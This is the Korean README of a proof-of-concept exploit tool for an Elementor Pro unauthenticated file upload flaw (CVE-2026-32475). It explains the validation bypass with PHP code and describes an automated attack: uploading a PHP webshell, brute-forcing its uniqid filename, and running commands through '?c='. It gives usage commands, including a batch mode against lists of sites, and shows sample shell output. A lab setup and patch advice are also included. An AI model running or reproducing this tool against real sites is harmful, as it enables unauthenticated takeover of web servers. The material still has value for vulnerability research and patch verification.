
CVE-2026-32475에 대한 개념 증명 익스플로잇으로, Elementor Pro의 인증되지 않은 임의 파일 업로드 취약점을 통해 원격 코드 실행으로 이어집니다. 자동화된 탐지, 업로드, 명령 실행 및 정리 기능을 포함합니다.
CVE-2026-32475(CVSS 9.0 Critical, CWE-434)에 대한 PoC: Elementor Pro Forms 모듈의 인증되지 않은 임의 파일 업로드로 원격 코드 실행으로 이어집니다. Elementor Pro 4.2.2(2026-08-19)에서 수정되었습니다. Patchstack Bug Bounty 프로그램을 통해 Tin Pham(TF1T)이 보고했습니다.
███████╗ █████╗ ██╗ ██╗ ███╗ ███╗ ███████╗ ███████╗ ██████╗
██╔════╝ ██╔══██╗ ██║ ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗ ██║
╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝ ██║
███████║ ██║ ██║ ██║ ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝ ╚═════╝
이 PoC는 승인된 보안 연구, 교육 및 방어적 테스트 목적으로만 제공됩니다.
Elementor Pro 양식의 파일 업로드 필드는 업로드된 항목을 서로 다른 의미론을 가진 두 개의 별도 루프에서 처리합니다(modules/forms/fields/upload.php):
// validation()
foreach ( $files[$id] as $index => $file ) {
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
return; // <-- 전체 메서드를 중단
}
// is_file_type_valid() ... // 두 번째 항목에는 도달하지 않음
}
// process_field()
foreach ( $files[$id] as $index => $file ) {
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
continue; // <-- 이 항목만 건너뜀
}
$filename = uniqid() . '.' . $file_extension; // 공격자가 제어하는 확장자
move_uploaded_file( $file['tmp_name'], $new_file );
}
동일한 업로드 필드에 대해 두 개의 파일 파트를 제출하면 — 빈 첫 번째 파트(filename="" → UPLOAD_ERR_NO_FILE) 다음에 .php 페이로드를 제출하면 — validation()이 확장자 블랙리스트가 페이로드를 보기도 전에 반환되고, process_field()는 여전히 이를 wp-content/uploads/elementor/forms/<uniqid()>.php(공개 웹 디렉토리)로 이동시킵니다. 해당 URL을 직접 요청하면 원격 코드 실행이 발생합니다.
업로드는 POST /wp-admin/admin-ajax.php(action=elementor_pro_forms_send_form)에서 처리되며 인증도 nonce도 필요 없습니다. post_id, form_id 및 업로드 필드 이름은 공개 페이지 HTML에 표시되므로 전체 공격은 인증 없이 수행됩니다.
대상:
공격자:
단일 대상(사이트맵/홈페이지를 통해 양식 페이지 자동 발견):
python script.py --url https://target.example --command "id; hostname; uname -a" --cleanup
명시적 양식 페이지:
python script.py --url https://target.example --page-url https://target.example/contact/ --cleanup
배치 모드(sites.txt: 한 줄에 하나의 사이트 — base_url 또는 base_url page_url):
python script.py --list sites.txt --command "id" --cleanup --out results.json
JSON 목록 형식:
[{"url": "https://a.example"}, {"url": "https://b.example", "page_url": "https://b.example/jobs/"}]
이미 업로드된 셸에서 명령 실행:
python script.py --url https://target.example --shell-url https://target.example/wp-content/uploads/elementor/forms/<name>.php --command "id"
| 플래그 | 기본값 | 설명 |
|---|---|---|
--url | - | 단일 대상 기본 URL |
--list | - | 배치 모드 목록 파일 |
--page-url | --url | 양식이 포함된 페이지 |
--command | id; hostname; uname -a | 셸을 통해 실행할 명령 |
--cleanup | 꺼짐 | 테스트 후 웹셸 자체 삭제 |
--field k=v | - | 자동 채워진 양식 필드 재정의(반복 가능) |
--tail | 0.3 | 미세 스캔을 위한 예상 업로드 시간 전의 초 |
--step-fine | 1 | 미세 스캔의 마이크로초 단계 |
--full-second | 꺼짐 | 전체 uniqid 초 무차별 대입(클록 스큐 대응) |
--attempts | 1 | 업로드+스캔 시도 횟수(매번 새 무작위 파일명) |
--max-probes | 600000 | 시도당 스캔 요청 예산 |
--workers | 50 | 병렬 스캔 스레드 |
--insecure | 꺼짐 | TLS 오류 무시(자체 서명 대상) |
--out file.json | - | 보고서를 JSON으로 작성 |
post_id, form_id, 업로드 필드 이름 및 기타 모든 양식 필드를 추출합니다. 모든 필드를 그럴듯한 값으로 자동 채워 필수 필드가 검증을 통과하도록 합니다(--field로 재정의).admin-ajax.php로 보냅니다. 참고: success:false와 빈 errors 객체가 함께 오는 경우에도 업로드된 것으로 처리됩니다. 기본 Email 작업이 wp_mail() 실패 시 파일 이동 이후에 오류를 발생시키기 때문입니다. 업로드 필드 자체의 거부(file type is not allowed)만 차단된 것으로 간주됩니다.uniqid() = 8자리 16진수 초 + 5자리 16진수 마이크로초. 초는 응답 Date 헤더에서 가져옵니다. 초 미만 부분은 (t1 - date_epoch) % 1에서 추정합니다(공격자와 서버 클록이 가까울 때 정확). keep-alive 프로버(연결당 요청 1회보다 약 30배 빠름)가 마이크로초 해상도로 이동 창을 스캔합니다. --full-second는 클록이 어긋날 때 전체 초를 무차별 대입합니다.GET <shell>?c=<command>로 명령을 실행합니다. --cleanup은 ?x=1을 통해 셸을 삭제합니다.| 상태 | 의미 |
|---|---|
vulnerable | 셸이 업로드되고 명령이 실행됨 — 지금 패치하세요 |
blocked | 업로드 필드가 거부됨(패치된 4.2.2+, 필수 필드, WAF, 캡차) |
uploaded_no_exec | 파일은 저장되었지만 파일명을 복구하지 못함(--full-second로 재시도) |
no_form | 대상에서 취약한 양식을 찾지 못함 |
error | 연결/네트워크 오류 |
docker-compose.yml + setup_form_page.php가 취약한 대상을 재현합니다:
docker compose up -d
docker compose run --rm wpcli wp core install \
--url=http://localhost:8090 --title="Lab" --skip-email \
--admin_user=admin --admin_password=admin123! [email protected]
docker compose run --rm wpcli wp plugin install elementor --activate
# 법적으로 획득한 elementor-pro.zip(<= 4.2.1)을 프로젝트 디렉토리에 넣은 후:
docker compose exec wordpress bash -c "cd wp-content/plugins && unzip -o /var/www/html/elementor-pro.zip"
docker compose run --rm wpcli wp plugin activate elementor-pro
docker cp setup_form_page.php "$(docker compose ps -q wordpress)":/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
python script.py --url http://localhost:8090 --command "id; hostname" --cleanup
[+] Shell located (attempt 1, stage=fine tail): http://localhost:8090/wp-content/uploads/elementor/forms/6a90b4fee658e.php
[*] Running command: uname -a
\nPWN\nLinux fcc317d0e442 6.18.33.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
[*] Cleaning up (deleting webshell)...
rm
Elementor Pro를 **4.2.2+**로 업데이트하세요. 업데이트는 취약점을 차단하지만 이미 업로드된 셸을 제거하지는 않습니다 — wp-content/uploads/elementor/forms/에서 잔여 .php 파일을 감사하세요.
승인된 보안 연구 및 랩 사용 전용입니다.